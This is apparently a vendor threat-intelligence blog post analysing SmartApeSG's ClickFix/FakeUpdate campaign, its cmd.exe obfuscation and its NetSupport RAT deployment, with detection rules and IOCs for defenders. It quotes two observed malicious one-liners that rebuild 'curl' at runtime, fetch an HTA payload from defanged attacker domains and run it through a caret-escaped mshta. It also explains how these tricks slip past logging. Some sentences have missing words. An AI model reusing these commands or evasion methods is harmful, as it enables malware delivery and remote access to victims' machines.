Smartapesg Returns With Unique Obfuscation Techniques

During a recent investigation into malicious activity targeting an organization on the Blumira platform, our team identified the threat actor SmartApeSG deploying a rarely seen obfuscation technique. Their overall objective appears to remain the same: using ClickFix / FakeUpdate style social engineering to trick users into downloading and running payloads that lead to installation of remote access software, most commonly NetSupport Manager. However, their payload command has evolved to feature a more advanced obfuscation method, reconstructing command names character by character at runtime to conceal them from static analysis and command-line logging.

First, let’s take a look at two unique executions our team observed in the wild:

" C:\WINDOWS\system32\cmd.exe " /c start "" /min C:\WINDOWS\system32\cmd.exe /v:on /c "set pss=ycyyruyly&set nff=C:\Users\ \AppData\Local\heal.hta&call !pss:~1,1!!pss:~5,1!!pss:~4,1!!pss:~7,1! -s -L -o !nff! qeravito[.]com/hj/call&&^m^s^h^t^a^ !nff!&&del !nff!"

"C:\WINDOWS\system32\cmd.exe" /c start "" /min C:\WINDOWS\system32\cmd.exe /v:on /c "set s=ycyyruyly&set a=C:\Users\ \AppData\Local\Beesggr.hta&call !s:~1,1!!s:~5,1!!s:~4,1!!s:~7,1! -s -L -o !a! pelgiron[.]com/v1/user/py&&^m^s^h^t^a^ !a!&&del !a!"

Both examples were seen being spawned from cmd.exe process with Explorer.exe parent process.

Process Name: C:\WINDOWS\system32\cmd.exe

Parent Process Name: C:\WINDOWS\Explorer.EXE

Explorer.exe being the parent is consistent with a user double-clicking a file, running something from the Start , or executing a command from a Run dialog - all of which point to user-initiated execution, which aligns with the ClickFix / FakeUpdate social engineering vector where the user is tricked into running the payload themselves. Now let’s dig into the obfuscation at play here.

The technique works by storing a seemingly meaningless string in an environment variable where only positions 1, 4, 5, and 7 matter:

The name of the binary to execute is then reconstructed character by character using index extraction:

The result: curl - assembled at runtime without the literal string ever appearing in the command line.

This requires the /v:on flag on cmd.exe , which enables delayed environment variable expansion. With delayed expansion, the !var! syntax is evaluated at execution time rather than parse time, allowing the substring extraction to reference the variable after it has been set in the same command sequence.

This technique, known as variable index extraction in the DOSfuscation taxonomy first catalogued by Daniel Bohannon at Mandiant , is considered one of the more advanced cmd.exe obfuscation methods. It has historically been associated with sophisticated malware payloads like RedLine Stealer and campaigns attributed to groups like FIN7, not with FakeUpdate social engineering chains. Seeing SmartApeSG adopt it is notable because most ClickFix campaigns rely on simpler obfuscation, such as Base64 encoding or basic string concatenation. The technique is also particularly effective against defenders: because the command is only reconstructed inside the cmd.exe session at runtime, even process creation logs that capture the full command line will show the obfuscated version rather than the resolved command.

A second obfuscation layer disguises mshta , the Microsoft HTML Application Host used to execute the downloaded payload:

In cmd.exe , the caret ( ^ ) is an escape character that gets stripped during command parsing. The string resolves cleanly at runtime while evading any detection logic that matches on the literal string "mshta" in process command lines.

With the obfuscation stripped away, the command follows a straightforward three-step pattern:

The entire sequence runs in a minimized console window ( /min ), keeping the activity hidden from the user. From Obfuscation to Persistence - NetSupport Manager Deployment

In this case, the attack followed the well-documented SmartApeSG playbook. After the user was socially engineered into executing the obfuscated command, consistent with the ClickFix / FakeUpdate technique, the downloaded HTA payload executed successfully on the device.

Approximately 30 minutes after initial execution, the attacker deployed NetSupport Manager from an unusual file path. NetSupport Manager is a legitimate, signed remote administration tool, but by repurposing it as a Remote Access Trojan (RAT), the attacker was hoping to maintain long-term access to the environment without triggering traditional malware alerts.

This progression from social engineering to obfuscated downloader to legitimate RAT deployment is characteristic of SmartApeSG operations, where the entire kill chain is designed to avoid detection at every stage: the user willingly runs the payload, the command line conceals its intent from logging and security tooling, and the persistence mechanism is a trusted, signed binary.

SmartApeSG (also tracked as ZPHP and HANEYMANEY) is a FakeUpdate threat actor first observed in the wild in June 2023. It belongs to a broader ecosystem of FakeUpdate campaigns, alongside SocGholish , LandUpdate808 , and ClearFake , all of which the same core playbook: compromise legitimate websites, inject malicious JavaScript, and present visitors with fake browser update prompts that trick them into executing a payload. The name was coined by researcher Jonathan McCay at Walmart Global Tech after observing the group's repeated use of SmartApe hosting and its SocGholish-like infection chain.

SmartApeSG's primary payload has historically been NetSupport RAT , a legitimate remote administration tool repurposed for unauthorized access. More recently, the group has been observed expanding its toolkit to include Remcos RAT, StealC, and Sectop RAT, delivered through ClickFix-style fake CAPTCHA pages.

While SmartApeSG and SocGholish operate independently, they significant operational overlap. Both rely on compromised websites as the initial delivery mechanism, both use social engineering to get victims to run the payload themselves, and both frequently deploy NetSupport RAT as the final-stage implant. Infrastructure analysis by Team Cymru has revealed shared characteristics between SmartApeSG and NetSupport RAT C2 clusters, including overlapping X.509 certificates and management infrastructure hosted on Moldovan IPs. The SocGholish operator (tracked as TA569) has also drawn attention for its role in enabling other threat groups. In 2025, the Russian-aligned RomCom group was observed leveraging SocGholish infrastructure to distribute its own payloads, highlighting how these FakeUpdate ecosystems serve as shared distribution platforms across multiple threat actors.

This activity was surfaced by two Blumira detections working in tandem, each targeting a different phase of the attack chain.

Windows Command Shell Caret Obfuscation identified the initial execution phase. This detection monitors process creation events for commands executed via cmd.exe that contain caret character insertion where carets are placed between individual alphabetic characters to disguise command names. It is enabled by default and fires as a Threat P1 finding, reflecting the high confidence and strong association of this technique with malicious activity.

Remote Access Tool: NetSupport Manager From Unusual Location caught the persistence phase. This detection monitors for the NetSupport Manager executable launching from file paths outside of expected installation directories, a strong indicator of unauthorized deployment. It is enabled by default and fires as a Suspect P1 finding.

Together, these detections provided layered coverage across both the execution and command-and-control phases of this attack. The caret obfuscation detection caught the initial payload delivery despite the attacker's efforts to evade string-based matching, while the NetSupport detection flagged the RAT deployment regardless of the tool's legitimate signing status.

The following IOCs were observed during this incident. Organizations can use these to their own logs and threat intelligence platforms for signs of related activity.

C:\Users\ \AppData\Local\heal.hta

C:\Users\ \AppData\Local\Beesggr.hta

MITRE ATT&CK Mappings

Whether or not you use Blumira, there are steps you can take to defend against this type of activity:

Jake is an Incident Detection Engineer at Blumira, where he contributes to research and design efforts to continuously improve the detection, analysis, and disruption capabilities of the Blumira platform.